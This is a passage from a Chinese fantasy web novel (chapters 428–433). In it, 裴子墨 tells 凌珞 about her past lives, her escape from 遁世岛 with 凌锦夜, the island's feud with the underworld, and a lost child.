裴子墨沉默了会,才接着之前的话题道,“共命的事,我确实是故意的,因为在这个世界上,我也许能控制住自己不去杀其他人,但我可能控制不了杀了你。我跟你共命,前些年是你保护了我,但以后,是为了你能活着。” “在山洞里,我召唤出来的灵魂碎片,即便虚弱,也足够杀了你。但是杀你的同时,会让我自身更加虚弱,没办法再承受灵魂碎片的力量,也就没办法真的杀了你。” “凌珞,我没有说过我做的事都是对的,我也没有说过我没做过错事。” “我还在想,你能安排好这么多,地府帮你这么多,只是因为地府和遁世岛的关系。”凌珞轻笑了一声,“可你帮地府做过那么多事……子墨,无论你要做的事成与不成,地府都不会放过你。” 裴子墨整理了下衣服,站起身,垂眼看着他,“凌珞,我是做过错事,但我没有那么丧尽天良。”说完她便转身要走。 “那上一世白锦夜为什么要杀你?他帮你离开遁世岛,他帮了你两世,他爱你,他为了你舍弃亲人,舍弃一切,甚至连命都可以不要,你若是……不是让他彻底失望绝望,他怎么会转而跟着遁世岛一起对付你?”凌珞看着她问道。 第428章 真正相信你的人不会误会你 裴子墨的脚步停了下来。 “既然你的记忆都恢复了,你也应该记得这些事了吧?你告诉我,为什么呢?”凌珞说着轻笑了一声,“我以前只有一部分记忆,我只记得白锦夜完成了遁世岛任务,去了遁世岛,后来为了找你,从遁世岛逃了出来。” “他画了去遁世岛的路线路,藏在琼华山那里。” “现在我知道了,他根本不是把路线记下来,把图留给别人。” “那图是他画给自己的。” “你抹掉了他很多的记忆,甚至打碎了他的三生石,让他忘了遁世岛,让他回不去遁世岛。” “可他……后来一直都想回遁世岛不是么?他怕你让他忘掉那条路线,才把那张图画出来,藏起来。” “他早就不想再跟你走这条路了。” 裴子墨垂在身侧的手握成拳,指甲陷入掌心她也丝毫没有觉察。 “这一世,你抹掉了他所有的一切,不是为了保护他,你是怕他再帮着遁世岛对付你。” “没有人比他更了解你。” “而现在,知道这些事的,又多了一个我,你和地府的那些勾当……” “凌珞!”裴子墨转身看他,“那我完全可以在你们投胎转世之前,就让你们魂飞魄散,何必等你们到了这世上再处处提防你们?你现在的想法进了死胡同,无论我说什么,你都觉得是理由是借口,你都觉得如今的一切都是我安排好的。” “那你觉得,等白锦夜想起所有的事情的时候,他的选择,还会不会跟前一世一样?”凌珞开口问道,“我听鬼卿说,在血域的时候,你也差点杀了他。不知道是不是因为那件事,白锦夜从血域离开之后,就没有再跟着你。” “他说……你好像挺恨白锦夜的。” “第一世你在反抗遁世岛,第二世也在反抗遁世岛,可是都失败了,第三世……你开始作恶,嗜血嗜杀,被白锦夜和遁世岛一起镇压在阵法之下,最后死在白锦夜手里。后来连续那么多次,你刚刚出生甚至没有出生就夭折。你心里不可能没有怨气,不可能没有恨,这一世……你封印自己的七情六欲,不是怕这些情感会拖累你,不是怕你会喜欢谁对谁动心,你只是在掩藏自己心里的恨,心里的怨。” “你不做坏事,帮了很多人,但这些不过都是表演,是不是?反正这才不过十几年的时间,对你来说,也不算漫长,即便再演个十几年,也毫不费力。” “如果我说的是错的,你为什么一直不敢解开七情六欲的封印?” 凌珞坐在地上抬头看着裴子墨,“你看,我已经知道这么多了,把共命解开吧。” “你在白锦夜的身上看到了这么多,想必……距离他想起这些事也没有多久了。”裴子墨笑了笑,“不如你等他全都想起来,找到这里来,看看他的选择怎么样,再做决定吧。” “你把我从他身上剥离出来的时候,没有直接让我消散,是不是就知道会有这样的一天?”凌珞又问道,“你不想让我死,是因为我对你还有用处是么?因为……你可以用我来对付白锦夜。” “你可能又觉得只用我不保险,所以这一世,在最开始,就把白锦夜炼成了冥尸,你可以控制他,他根本再没有自己做选择的机会了。” 裴子墨有些无奈地笑了笑,又叹了口气,“凌珞,你把我想的太坏了。” 凌珞从怀里摸出一粒药,“阳元丹,如果下次见到白锦夜,我把这粒药给他,他就不再是冥尸,不会受你控制,我舍不得下不去手做的事,也许他就可以了。” 裴子墨看着他手里的药轻轻眯了眯眼,顿了顿才道,“阳元丹只有一粒,这世上有你、白锦夜和鬼卿三个冥尸,还是省着用,说不定将来你们三个谁更需要它。”说完,这一次没再停留,迈步离开。 没走出去多远,便见到等在那鬼卿,他脸上带着担心,不过因为凌珞的控制,他没办法接近,也就只能站在这里等,“你没事吧?” 裴子墨摇了摇头,隔了会只是说,“凌珞最近不知道发什么疯,你们离他远点。” 鬼卿朝凌珞的方向看了一眼,“他最近是有些不太对劲,你确定……他的魂魄没什么问题?” “有问题就自己受着吧。”裴子墨说着继续往前走。 这话里的语气,显然是生气了,鬼卿跟在她身边,“在你第一次离开圣殿之前,其实很少见到你的情绪有什么起伏。白锦夜和凌珞两个人……对你情绪的影响确实很大。” “是么?”裴子墨随口问了句。 “是啊,以前……你偶尔会微微开心,也可能会有一点点难过,但都不太像是真心的,而是你觉得这个时候你应该开心,或者这个时候你应该难过,所以会表现出来相应的情绪。但是……至少那会,我从来没有见过你生气。”鬼卿继续道,“我也是第一次见到……你被气得脸都白了。” “我脸上没有血色是因为刚才身体不舒服。”裴子墨皱起眉头。 “这样啊。”鬼卿笑了笑,没有拆穿她,“我小时候,也会跟姐姐生气,更因为自己的伪装带来的不便会生闷气,我娘跟我说,有什么话要说出来,尤其是跟亲人之间,没什么过不去的坎,话只有说出来,问题才能解决,不然误会会越来越深,时间久了,感情就淡了。” 裴子墨嗤笑了一声,“真正相信你的人,应该也不会误会你。” “那可不好说,越是相信你的人,对你的期望就越高,可能有了误会,这种信任崩塌的时候,就会让人更加难以接受。”鬼卿继续道。 “你这么会讲大道理,去给凌珞讲讲。”裴子墨看了他一眼。 “可问题的根源,好像不在他身上。”鬼卿也看着裴子墨,“他这些天私下里问过我不少次关于你的事,解铃还须系铃人。” 裴子墨的脚步顿了顿,最后道,“铃铛解不开,那就勒死他好了。”说完便快步走开。 第429章 他从一开始,就很傻 鬼卿停下脚步,看着裴子墨离开,轻轻叹了一口气。 之后的一段时间,大家也都是各忙各的。 凌珞也很少出现,即便偶尔出来,但是只要看到裴子墨的身影,就会立刻转身离开。 倒是鬼卿除了每日修炼看书之外,又多了一点事情,就是陪着凌珞喝酒。 地窖里是有酒的,不过存放时间比较久,酒香太过浓郁,寒羽喝点就容易醉,于是他和紫翅天鹏摘了不少果子回来,裴子墨就帮他们酿成了果酒。 一开始果酒只有寒羽和楚星玄喝,不过后来鬼卿和凌珞也喝了不少。 裴子墨每天忙着自己的事,也没怎么关心其他人在做什么。 天气好的时候在楚江颠上到处走走,但是这里的天气也有些奇怪,很多天不下雨,一旦下雨,就会连着下很多天。 赶上了雨天,裴子墨也就懒得出门。 前几天寒羽从一个房间里发现了一个小瓷碗,小瓷碗里有一条活着的虫子,他就给她拿了过来,之前她也没时间看,这会没事,就把瓷碗拿了出来,坐在桌边认真地观察着小瓷碗里的虫子。 正看着,身后却突然传来轻咳的声音。 她转头看了一眼,见凌珞站在门口,便收回了目光,继续看着缓慢移动的虫子,没有说话。 凌珞站了会,才走进来,在周围晃悠了几步,往桌子旁边凑了一下,看了看小瓷碗,“在帮楚星玄研究蛊虫?” 裴子墨抬眼看他,“你有事?” 凌珞又轻咳了一声,“没什么事,你忙的话……就先忙着。” 裴子墨垂下眼,继续看虫子。 凌珞又站了半响,才道,“楚星玄从哪抓的虫子?” 裴子墨干脆把小瓷碗往他的面前推了推,“不然你凑近点看?” 凌珞闻言倒是顺势坐了下来,拿着小瓷碗看了半响,“这虫子哪来的?” “你没见过么?”裴子墨开口问道。 “看着眼熟。”凌珞皱了下眉头,“这虫子身上的气息有点奇怪……地府的?” “冥蛉。”裴子墨回道。 “地府的虫子怎么会在这里?”凌珞挑了挑眉,“楚星玄哪来的?” “他从哪能弄到地府的虫子?从这边翻出来的,不知道是谁从地府带出来的,这么多年,呆在这小瓷碗里,倒是也没有死。”裴子墨说着给小瓷碗盖上盖子,挪到了一边,看向凌珞,“有什么话就说吧,别在这没话找话。” 凌珞的脸色微微有些尴尬,半响才道,“没什么,就是过来看看。” “鬼卿跟你说什么了?”裴子墨给自己倒了一杯茶,一边喝一边问。 凌珞见她也没有给自己倒茶的打算,便自己动手倒了茶,“没说什么,闲聊。” “你要是没什么事,就回去歇着吧,我还有事。”裴子墨下了逐客令。 凌珞捏着手里的茶杯,又纠结了半天,垂眼看着茶杯里的茶水,过了好一会才开口,“不然你给我讲讲吧,讲讲那些我不知道的事情。” 裴子墨看着他,轻笑了一声,转头看着窗外的雨,“我讲的,你就相信了?”她说着站起来,走到窗边,伸手出去,雨水落在她的手心上,“这雨下了好多天了,还挺奇怪的,好像只有楚江颠在下雨,我前两天出去,看到悬崖外面,是没有下雨的。” 凌珞转头看她,轻轻皱了下眉,正想着该说点什么的时候,裴子墨又转过身靠在窗棂上。 “反正下着雨,也不能出去,不然你带我去地府,我带你去看我的三生石吧。”裴子墨继续道。 凌珞怔了一下,又隔了会才说,“我想听你讲。” 裴子墨笑了笑,“你就不怕我骗你?” “就当是故事听,你想骗我就骗我。”凌珞说着喝了一口杯里的茶,“再说,地府还挺危险的,我暂时也不想去。” 裴子墨垂下眼,看着地面,并没有开口说话。 凌珞也没有催促,就这么静静地等着。 屋子里除了雨声,便再也没其他的声音了。 不知道过了多久,裴子墨才走到软塌上,斜斜地靠在榻上,朝窗外看去,也没有看着雨,像是看着很远很远的地方,随后才慢慢地开了口。 “我出生在遁世岛,那里看上去和外界任何一处城池也没什么太大的区别,等级森严,以岛主为首,其下是十个长老。因为最开始,大家到遁世岛的时候,就是各自带着家人和门徒,所以都有各自的势力。此后各族之间通婚,各族之间的关系也有亲疏远近。” “除此之外,遁世岛也还有些普通人,都是他们从各地抓来的,但是他们不会允许族人跟普通人通婚,普通人在遁世岛也是不允许修习术法的,只能靠种地、做工为生。” “我出生在那里,自然就认为那里的一切都是正常的,我是岛主的长女,从小修习术法,从懂事开始,我就知道,我会是下一任岛主,所以生活过得肆意张扬,也没人敢忤逆我。” “我觉得我应该还算是和善,不过可能在我那些弟弟妹妹的眼里,并不是如此。我要有长姐和继任岛主的威严,那就绝不可能每天跟他们一起打打闹闹,时间久了,就难免有些隔阂。” “小的时候,其实我也贪玩,我也想和其他的孩子们一起玩,可是我不能。逐渐的,其他人都在一起玩,只剩下我自己,我只能拼命的修习术法。” “但……也难免羡慕,我就是那个时候认识凌锦夜的。” “他是六长老的小儿子,从小被溺爱,家族里的事情都有兄长姐姐处理,他生下来好像就是为了玩。” “我每天都在后山修习,那里不会有人去,确切的说,是所有人都知道我在那修习,会有长老不时去抽查,所以根本没人会跑到那里去。” “他就总是偷偷跑去找我,有时候会带点他家里做的小吃,有时候会带些稀奇古怪的小玩意儿。我家对我要求严格,什么东西都不允许多吃,所有的喜好都不准表露出来,所以我一开始挺讨厌他的,我觉得他就是个不学无术的纨绔子弟,每天除了吃就是玩。” “可是他就像是狗皮膏药一样,有时候被我打哭被我骂走,第二天还是会若无其事的来找我。不过他也不敢多呆,不敢碰上那些长老。” “那么多年,也就只有一次,被他爹撞见了,那一次他被结结实实地打了一顿,关了一个月的禁闭,等再来找我的时候,还瘸着一条腿。” 裴子墨说着笑了笑,“他从一开始,就很傻。” 第430章 没有机会回头了 “那次之后,我觉得他也挺可怜的,对他的态度也好了些。” “修习术法之余,他也会给我讲讲他在后山之外的生活,比如他们年纪相仿的一些人会经常聚在一起玩的游戏,他们会常去哪家饭馆吃饭,谁谁谁今天被家里打了一顿,谁谁谁学会了什么样的术法。” “后来年纪大了一些,他会告诉我,谁和谁定了婚事。” “一开始我只是当八卦来听,只是为了解闷儿,后来我也隐约的觉得不太对劲,因为只要提起别人定了婚事的时候,他就会很紧张的看着我,似乎是想要听我对此的看法。” “有一次他告诉我,那一次定下婚事的两个人,其实互相都不喜欢,他们年纪差不多的一群人,从小就一起玩,互相之间大概都早就有心仪的人。” “只可惜他们各自喜欢的人,都不被各自的家族接纳,最后就定了他们的婚事。” “他说那两个人定了婚事之后,就很少出来玩了,可能是觉得尴尬吧。” “那一次,应该是他第一次直白的问我,关于我自己的婚事,我有什么想法。” 裴子墨说着眯了眯眼,顿了顿才道,“我有什么想法呢?除了他以外,我很少见到别人,偶尔见面,也都是在一些祭祀典礼一类的场合上,我知道他们的名字,知道他们的家世,也就是仅此而已。” “我也从来都没有想过我的婚事,未来我是遁世岛的岛主,能和我比肩的,自然也不会是普通人。” “我其实有点忘记我是怎么回答他的了,大概就是……起码对方在术法的造诣上,绝对不能比我低。” “好像也就是从那天开始,他每次再来后山找我的时候,就不缠着我跟他一起玩了,而是也开始修习术法,向我请教。那会我也没想那么多,只是觉得,一个纨绔子弟终于开始上进了,于情于理,我也应该拉一把。” “他天赋不低,认真学起来,进步很快。后来六长老来后山来得更频繁了一些,见到凌锦夜在也不会多说什么,大概是只要他和我一起认真修习术法,别被其他的长老发现,他也就算是默许了。” “日子就这样慢慢地过,但是有一天,他突然很慌张的来找我,说他听说,我爹正在和大长老商量我的婚事,想要让我嫁给大长老的二儿子。” “十个长老是以大长老为首,如果我跟他的儿子成亲,等以后我做了岛主,就相当于有了大长老在我背后撑腰,这确实应该是很好的选择。” “那天,他说他不想让我嫁给别人,他说他……喜欢我。” “我倒是也没有允诺他什么,我知道我的身份,我若是做错了事,就会害了别人。” “那之后,他来后山的次数就少了,他说六长老不让他再来了,如果我的婚事定下来,他再来影响不太好。但是他说在婚事没有完全定下来之前,他还是想要再争取一下。” “那天他在后山呆了很久,就像是一定要得到我的答案才会离开。我看着他坐在那落寞的样子,就开始心疼,我想我也许就是那时候开始喜欢他的。” “我答应了他,我说我不会嫁给别人,他说他马上就回去跟长老们表明心迹。可当时我们都还是太天真了,我们以为婚事还没有完全定下来,就应该有余地,况且我爹和十个长老都那么疼我,大长老的儿子和六长老的儿子,又能差多少呢?” “但他们不同意,他们先是定下了凌锦夜和我妹妹的婚事,之后又定了我的婚事。于是我去找我爹,我希望能说通我爹。” “可我去找他的时候,正碰见他跟大长老吵架,后来大长老给他吃了药,他吃了那粒药之后,就对大长老的话言听计从。” “我知道我爹不可能帮我了,之后我见到六长老,私下里向他隐晦的提起这件事,我才知道,这药的事,十个长老都知道,而且……岛主说是岛主,其实一直都在十个长老的控制当中,不只是我爹,将来也会轮到我。” “我可不想像我爹一样被控制,沦为别人的傀儡。从那天开始,我就开始研究各种控制的术法,把婚事一拖再拖,终于拖到了大长老的耐心全都消失,他决定提前给我吃那种可以控制我的药。” “这件事,六长老提前告诉了我,甚至还带着凌锦夜来跟我见了最后一面。那时候,其实我们两个就都萌生了离开遁世岛的想法。但离开遁世岛不是一件简单的事情,需要筹谋,我们都只能继续想办法拖延各自的婚事。” “我的理由很好找,我以历练为名往后山的深处走,我只是没想到,这个决定,会改变一切。” “我在后山的深处,碰见了被关押在那里的,遁世岛的第十一位长老——‘神算公’,而我们从来都不知道,原来遁世岛一开始是有十一位长老的。他对我倾囊相授,卦祖就是他那个时候送给我的。” “他也把遁世岛的秘密全都告诉了我。” 说到这,裴子墨垂下眼,“凌珞,你知道么,我也想像一个普通人那样生活。如果凌锦夜从来没有去后山找过我,我就会欣然接受家里安排的婚事,我不会想过反抗,我就会嫁给大长老的儿子,在之后的某一天,在不知情的情况下,吃下他们为我准备的药。” “等我知道的时候,我就再也没有办法反抗他们,像我爹一样,表面是风风光光的遁世岛岛主,实际上不过是一个傀儡。” “可至少……那样的日子过得应该不会太累,什么都是别人安排好的,我只要按照他们的安排,按部就班的生活,我可能永远也不会喜欢大长老的儿子,但是一辈子在一起,也能相敬如宾的生活。” “生儿育女,再把我们的孩子培养成岛主,让遁世岛的一切原原本本的延续下去。” “这样的生活多轻松啊,在我离开遁世岛之前,我也有无数的机会放弃抗争,选择这样的生活。” “可我能么?我不能,我已经被无数双手推上了这条路,没有机会回头了。” 第431章 地府和遁世岛 “之前你,也不只是你,好多人都认为‘十一公’的最终目的是要唤醒九天仙女。” “初代‘十一公’离开这里去遁世岛的时候,每一脉都还留下了一些人在外面。基本上都是留下长子带着血缘比较疏远的亲人和外围的弟子。长子留下来,是为了稳定剩下的人心,他们告诉其他人,他们是为了一件巨大的事情不得不倾巢出动去办这件事。” “再过些年,他们就说那些出去办事的人,遭遇了什么意外,全都没能活下来,以后‘十一公’的遗志就只能靠他们了。然后再隐约地透露一些,他们的目的跟复活九天玄女有关系。” “这世上的任何事情,只要跟成仙牵扯到一起,大家就会心照不宣的不敢询问太多,但是对做这件事却都趋之若鹜。” “所以也用不了多少年,剩下的人就会认为离开的那些人是真的已经死了,然后他们各自的长子,再找合适的机会,把‘十一公’的位置传给自己的孩子,自己则是假装死亡,前往遁世岛。” “这个秘密,应该只有历任‘十一公’的继任者才知道,也只有他们才有资格进入遁世岛。” “但是其实在遁世岛上的人,从来都没有想过要复活九天玄女这件事。他们活在海外仙岛,长生不死,还能控制着人间的生老病死,他们当时认为这与成仙其实也没有多大的区别了。” “如今外界会术法的人越来越少,将来等外界的术法彻底绝了根,他们中间的任何一个人来到外界,那自然都会被当成神仙一样对待。” “人的一生,富贵贫穷,生老病死都早有定数,他们却偏偏要改变这些,最先惹恼的就是地府。因为这些人死了,到了地府,与应该过的人生不符,那些比应该过的生活过得更好的,因为享受了不该享受的,所以要在地府受刑偿还,那些明明应该顺遂一生大福大贵的人,却可能会早夭,会流落街头要饭。” “可是那些受刑的人,认为这是无妄之灾,他们的人生又不是他们改变的,那为什么要让他们来受罚?还有些过得凄惨的,也要为自己讨个公道,于是两拨人都会大闹地府。” “这让本来都是按部就班照章办事的地府一下子就乱了手脚,所有的人都和记载不符,他们要派出鬼差一一查证,然后再想办法让事情回到正轨。” “可是他们在这边解决问题,那边遁世岛却还在不断的制造问题,于是双方结下了梁子。最开始的时候,因为这件事,双方也动过手,死过不少人。后来仙界便派了人下来,调停这件事。” 裴子墨说着摸出当初在山洞里拿到的那个仙人的法器,“这把尺子,叫量天尺,量尽世间善恶,量尽一切不公。咱们之前在山洞里找的仙冢,便是其中一位仙人。这些仙人来了后,坐镇人间,遁世岛便也不敢再像之前那样肆意妄为,虽然偶尔也还会做些小动作,地府那边也就睁一只眼闭一只眼了。” “但这些仙人也不可能永远留在人间,于是他们便开始收徒,传授仙法,以便等他们回了仙界之后,他们的徒弟留在人间继续调和遁世岛和地府的矛盾。” “这些仙人来了以后,遁世岛的人也发现,原来他们和真正的仙人差距还有那么大,于是他们便开始密谋更大阴谋,他们放出了一个人,试图拜入仙人门下,一开始只是单纯的为了修习仙人的术法,但既然没怀好意,那自然也不会做好事。” “所以,当时寒羽讲的那个故事,其实大部分都是真的。他们派出来的人,在仙人身边,除了学习仙法之外,就在认真的研究如何能进入仙界的事情。后来真的被他发现仙牌一事,甚至得到了仙牌的认可,他借着这仙牌就替那仙人回了仙界。” “机缘巧合,倒是成了遁世岛第一个真正成仙的人。不过一旦有人靠捷径成功,便会有其他人想要效仿,结果这件事惹怒了仙界。仙界责令在人间的仙人要么立刻废了自己徒弟的一身术法,要么就全都杀了灭口。那之后,不少仙人被召回仙界,只留下很小的一部分,藏匿在人间。” “据说这也成了仙人的一种历练,他们每隔一段时间,便会换一批人来驻守人间。只要遁世岛的事情做得不太过分,他们就不会插手。” “遁世岛的人也因此知道,术法无论修习到什么程度,都不可能成仙,可哪怕只是一个普通人,得到了仙牌并且得到仙牌的认可,就可以立地飞升。” “一旦飞升,即便是只拥有仙界最普通的仙法,都不知道要比没有飞升的人高上多少倍。可仙牌的数量是固定的,除非仙界有人死去,才会有空余仙牌。可别说仙界,就连他们这些‘伪仙’都能长长久久地活着,仙界的人哪那么容易死掉?” “但后来,那个偷了仙牌成仙的人,回了遁世岛一次,他告诉‘十一公’,还有另外一种方法可以进入仙界。人间去往仙界有一条通道,这条通道的位置会经常变换,有仙牌的人,进入这条通道,是不会受到任何攻击,但是若是没有仙牌的人,进了通道,就会遭遇雷劫。” “如果能扛过通道里的雷劫,就可以在没有仙牌的情况下进入仙界。而且这条通道的出现,是有规律的。一旦哪个地方发生大瘟疫大灾难,死亡人数过多的时候,通道就会在这个地方出现。” “这算是天地规则使然,是为了让仙界的人能更快的对有大灾大难的地方进行救援。不过这种救援其实已经很多年没有了,但通道出现的规则却没有变化。” “于是……遁世岛的人,就让‘神算公’算出即将发生大灾大难的地方。一开始算出了几处,可是进入通道的人坚持不过一息,要么当场劈死,要么被劈出通道,险险留下一条命。” “通道里雷劫的威力到底有多大,没人知道,只能不断的尝试,可这样的大灾大难,天然形成的其实也不多,那……自然就有人起了坏心,天然形成的没有,那他们可以自己制造。” 第432章 我和他的第一世 说到这,裴子墨也有点累了,便停了下来。 凌珞倒了一杯茶递给她,她接过茶杯慢慢地喝茶。 “瘟神蜮就是那个时候,他们留下的吧?”凌珞看着她问道。 裴子墨点了点头,“但也就是因为这件事,遁世岛的内部出现了分歧。‘神算公’知道这对所有人来说,都是灾难的开始,不仅会让遁世岛万劫不复,也会害死无数无辜的人。况且他卦卦灵验,在他的卦象里,显示着未来可能是一个极其黑暗的世界。” “他第一个提出反对,但是他……那会好像对遁世岛的用处已经没有那么大了,最开始要靠他算出通道的位置,现在他们已经可以人为制造了,那似乎已经不需要他了。再加上裴家一脉,虽然在算卦上不如神算公,但起码也能做到十卦九准,那也就足够了。” “不过初代‘十一公’确实都受九天玄女庇佑,想要真的杀死也不太可能,他们只能把他关押封印。但是……其实和‘神算公’有一样想法的人,并不只是他一个,只是他们没有像他那么耿直,直接把反对的话说出来。” “‘神阵公’便是其中一个,他在其他人设置好瘟神蜮之后,就用阵法逐一镇压,再派自己的族人前去看守。” “从那时候开始,其实遁世岛暗地里尝试过不少次进入通道的事,但是‘十一公’自己至今都没人敢进入那通道。” “后来遁世岛里甚至出现了一种猜测,是不是那个仙人因为是用不光彩的手段进了仙界,仙界给了他一个诸如要消灭遁世岛的任务,可能事实上根本就没人能通过那通道进入仙界,这不过是仙界为了消灭遁世岛的一种手段。” “所以,那些瘟神蜮设下之后,很多都并没有真的启用。” “这件事,后来算是不了了之,大家也都没有再提起过,可是……其实最不死心的,就是大长老,这些年,他自己应该又重新尝试过不少次。” “你爹……凌幽就是大长老安插在外面的人,按照正常的情况来说,凌幽早就可以进入遁世岛了,但是凌幽一直都没有去,这些年,都在外面帮着大长老办事。他建立所谓的北冥国,也不过是为了控制更多的普通人,将来为他所用。” “这件事不说别人,就连楚云颂都知道一些,北冥国的百姓喝了圣水,就在国君和圣女的控制之中,这些百姓的从来都不会想着什么发家致富考取功名一类,唯一存在的目的,就是为了延续香火。” “可即便是这样,现在北冥国还有多少百姓呢?早就成了他们成仙路上的垫脚石。” 裴子墨说着轻轻叹了口气,把茶杯里的茶喝完。 “那‘神冥公’呢?凌锦夜是他故意安排去见你的么?是他们故意把你引上这条路的么?”凌珞又问道。 裴子墨摇了摇头,“一开始,应该不是。只是凌锦夜经常去,大概让‘神冥公’有了这样的想法。但是后来的事,又有谁说得准呢?‘神算公’既然卦卦都准,他也许早就算到我会碰到他,说不定咱们俩今天这对话,都在他的算计之中。” “我们每个人可能都以为,自己的人生自己做主,但……到底是不是别人安排好的,又有谁能知道呢?” “离开遁世岛,需要有黄泉路,如果没有凌锦夜,我不可能离开遁世岛。是‘神算公’给我算了卦,告诉我想要离开遁世岛,每一步应该怎么走,在哪里需要躲避什么。我把路线图背下来的时候,凌锦夜就已经被长老们控制着进了喜堂。” “我大闹喜堂,就算长老们还是不同意我和他的婚事,那会当着所有人的面,也只能暂且把这件事压下去。除了‘神阵公’和‘神冥公’,我想应该也还有人帮我,不然如果他一直在控制之中,是没办法跟我一起从喜堂上离开的。” “只不过我到现在也不知道,当时解除他身上的控制术,帮了我们的,到底是谁。” “从喜堂上离开之后,前两天长老们自然死死地盯着我们,不过还是被我们找了机会,按照路线,离开了遁世岛。” “那一路,惊险万分,不过每一次都化险为夷。”裴子墨说着笑了笑,“我之前只是答应他不会嫁给别人,但也没说要跟他在一起。大概也就是这一路上的相互扶持,我才真正的认可他。” “我们刚到了外面的时候,其实有些茫然,不知道该做什么。按照‘神算公’说的,我们要彻底地瓦解掉遁世岛,那绝不是一件简单的事情,那时候的遁世岛对我们来说,是一个庞然大物,我们想过很多办法。” “比如去找在世上隐匿的仙人,看看他们是不是能帮忙。可我们找了很多年也找不到,而且我们还要一边躲避遁世岛的追杀。” “我隐匿掉身上的气息,这一点在离开遁世岛之前,我就练习了很久,那时候像是‘神算公’和‘神冥公’他们都已经没办法发现我的气息了,我也把这个方法教给了凌锦夜,可是不知道为什么,遁世岛的人还是能准确无误的找到我们。” “后来我才发现,问题出在他身上,当时他们控制他的术法虽然被解除,但是身体里却残留了一些术法,那是大长老留下的,我尝试过很多办法,都不能完全清除。那要么我们分开走,这样其实要不了多久,他可能就会被遁世岛的人抓回去。” “他一旦回去,下场就只有一个,而且魂魄就会被遁世岛收起来,不可能去地府,更不可能再转世。我不可能让他回去,他自己也不想回去。那就还有一个办法,他死掉,去转世,然后我去找他的转世。” 裴子墨深深地吸了一口气,“严格上来说,这才是我和他的第一世,只不过他中间重新转世了一次。但也还好,也是他的这次转世,让我们跟地府有了交集。” 她说着看向凌珞,“所以你说是不是有人故意安排好的,我也不确定,也许追踪他的术法,就是故意留下的,他们逼我们做出这样的选择,让他用第一次死亡换来我们和地府的合作。” 第433章 孩子 “他是遁世岛的人,到了地府之后,自然要受刑,转世的事情也一时没个着落。后来我答应给地府做了一百年的人间鬼差,才换来了他转世的机会。” 裴子墨重新看向窗外,“只不过他转世后,忘了以前的一切,我重新教习他术法。他既然转世,就会有新的家人,就会有新的顾虑。即便他还是愿意跟我一起去反抗遁世岛,可还是要考虑更多的事情。” “后来遁世岛就开始在外面发布任务,因为他们找不到我和凌锦夜,便干脆想着直接消灭外面所有会术法的人,一劳永逸。” “最开始的那些年,留在外面的‘十一公’的后人,其实是没有人去做遁世岛任务的,因为对于他们来说明知道这是一个骗局,根本就没有必要去蹚浑水,也是后来防止有人发现端倪,他们才会派出几个不太重要的人,象征性的去跟着外面的人跑一跑。” “几轮任务下来,就已经死了不少人。我也是后来才知道,修习术法一途,本来就算是逆天而行,所以当术法达到一定的程度的时候,就会引来雷劫。” “这种雷劫,其实更像是一种惩罚,所以大部分人都很难渡过。以致于后来就有一种传说,说只要扛过雷劫的人,就能成仙。” “扛过了这次雷劫,其实还会有下一次。那只是天地之间为了平衡的一种规则,唯一有点区别的是,这规则也像是打个巴掌给个甜枣,如果能扛过一次雷劫,那么之后修炼的时候会和之前大不相同。” “从现在往前数,最后一个经过这雷劫的人,就是裴黎。不过她也不算是完全经过,因为雷劫之后,她只剩下魂魄。但雷劫之后,她也得到了好处,她能将气转化为仙气。若是还有肉体,那这仙气可以淬炼肉体,但是她只剩下了灵魂,这仙气转化之后,对她而言一点用处都没有。” “所以她从雷劫之后,这么多年,术法造诣上都再也没有一点点进步,也就没再引来过下一次雷劫。” “初代‘十一公’因为受九天玄女庇佑,无论术法到什么程度,倒是都不会引来雷劫,而且他们在遁世岛设下了阵法,在遁世岛的人,也都不会遭遇这样的雷劫,也就从来都没有人跟我说过这件事。” “那时候我险险的扛过了雷劫,只剩下小半条命的时候,就被遁世岛发现了。他们自己倒是没来人,只是发布了遁世岛任务,说谁能杀了我,谁就可以成仙进入遁世岛。” “我连养伤的时间都没有,就开始跟着他一起逃命,那时候其实我还没有跟他完整地提过遁世岛的事情,索性也就一直没说,后来我知道,我是实在逃不掉了,之后的事情也不知道怎么样,与其让他在外面颠沛流离,不如就让他借此回遁世岛算了。” “他被带回遁世岛的时候,其实长老们就应该已经知道了他是谁,只不过因为他转世后没了记忆,那些长老们大概也是有意磋磨他,所以他回去之后,一直就做着苦力。而我也是那次到了地府,才第一次知道关于忘川的事。” “按照孟婆说的,我只要能在忘川里呆过千年,就相当于会得到天地庇佑,我就一定能和他再续前缘。所以我不去遁世岛,那他无论如何都能从遁世岛逃出来,自己不行,就会有人帮忙。他怎么从遁世岛离开的,你也早就知道,只不过他离开之后,就重伤死了。” “我等了很多年,找了很久,才重新找到他的转世。这一世我刻意的压制自己的术法,避免因为雷劫被遁世岛发现,同时也在寻找如何能躲过那雷劫。如果我的术法不提升,就永远没办法对抗遁世岛,可我术法一旦提升到要渡雷劫的时候,就会被遁世岛发现,这就成了一个死结。” “到后来我才知道,遁世岛的人可以不受雷劫,是‘十一公’用他们的血做了一个大阵,只要其他人的术法不超过他们,那雷劫就会认为整个遁世岛上,只有初代‘十一公’,没有其他人,雷劫就不会降到遁世岛上。” “我一直在找这个原因,便来了九域十二颠这边,在几个‘十一公’后人居所的地方,都见过同样的阵法,只不过那阵法已经被破除,也没办法修复了。也就是说,我无论如何都不可能躲得过雷劫。” 说到这,裴子墨的手攥成了拳头,“我一直压制自己的术法,可有段时间,我发现我压制术法的方法失效了,而且也再都没办法压制,我当时一门心思想着这个事,根本没发现……是因为我怀孕了。” “你和他有过孩子?”凌珞震惊地看着裴子墨,可这个记忆,他从来都没有在白锦夜那里看到过。 “他不知道。”裴子墨轻笑了一声,“雷劫将至,就算我能渡过雷劫,遁世岛的人也马上就会到,告诉他这件事,只会让他徒增担心。” “不过有了第一世的经验,这一次在雷劫到来之前,我就做了不少的准备,所以伤得不重,在遁世岛的人来之前,因为雷劫受的伤就已经恢复了。我本来以为,如果还是像前一世一样,就不会有什么问题,可没想到,那一次九长老来了。” “他为了救我,身受重伤,不想再拖累我,就自尽了。可就算没有他的拖累,我也不是九长老的对手……”裴子墨说着闭上眼睛,敛去眼底的痛苦。 凌珞皱起眉头,她和白锦夜做出这样的选择,有什么结果自然早就在预料之中,但是孩子的出现是个意外,这大概才是裴子墨第三世会作恶的直接原因。他犹豫了半响,才伸过手,轻轻地覆在裴子墨的手上,“累了吧?不然先休息吧,要是还想说,改天再说吧。” 